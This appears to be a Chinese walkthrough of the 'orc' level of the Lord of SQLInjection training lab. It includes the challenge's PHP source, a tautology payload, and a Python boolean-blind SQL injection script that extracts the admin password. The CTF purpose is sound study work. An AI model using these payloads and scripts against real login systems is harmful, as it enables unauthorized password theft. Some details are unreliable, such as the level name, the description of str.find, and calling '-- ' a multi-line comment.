靶场:LORD OF SQLINJECTION
第四题 Gremlin
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_orc where id='admin' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello admin</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orc where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
highlight_file(__FILE__);
?>
首先pw='or '1'='1
,显示出Hello admin,成功注入
但是要达到最后的目的,需要$result['pw'] == $_GET['pw']
,也就是说数据库查到的pw和我们提供pw要一样,那就意味着必须得想办法找到admin的密码。
盲注找密码啦,好处在于注入成功有反应,显示Hello admin,不用时间型盲注那么费事。
import requests
url = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
headers = {'Host': 'los.rubiya.kr',
'Connection': 'close',
'Pagma': 'no-cache',
'Cache-Control': 'no-cache',
'sec-ch-ua-platform': "Windows",
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.0.0 Safari/537.36'}
cookies={'PHPSESSID':'ma87lcsq7gmnhc33h13j97b0kl'}
# 确定密码长度
for length in range(4,20):
params = {'pw':f"'or length(pw)={length}-- "}
response = requests.get(url, cookies=cookies, params=params)
if(response.text.find("Hello admin")!=-1):
print(f"length: {length}")
break
#依次确定每个字符
pw = ""
for n in range (1,length+1):
for code in range(48,123):
params = {'pw':f"'or ascii(SUBSTR(pw,{n},1))={code}-- "}
response = requests.get(url, cookies=cookies, params=params)
print(params)
if(response.text.find("Hello admin")!=-1):
pw+=chr(code)
print(f"pw: {pw}")
break
用到的函数:
SUBSTR(str,n,m) #截取str从n开始的m位
ASCII(chr) #返回字符的ascii码值,如果是string,则返回第一个字符的ascii码值
Python函数:
[str].find(str1) #返回在str中str1出现的次数,如果没有出现,返回-1
tip:在这道题里面,想把后面内容注释掉,使用#发现不成功,暂时不知道什么原因,可能是php优化了这一点?
可以换用sql的多行注释[– ]
注意减号后面有个空格,如果在浏览器里面不好输入,空格可以写成+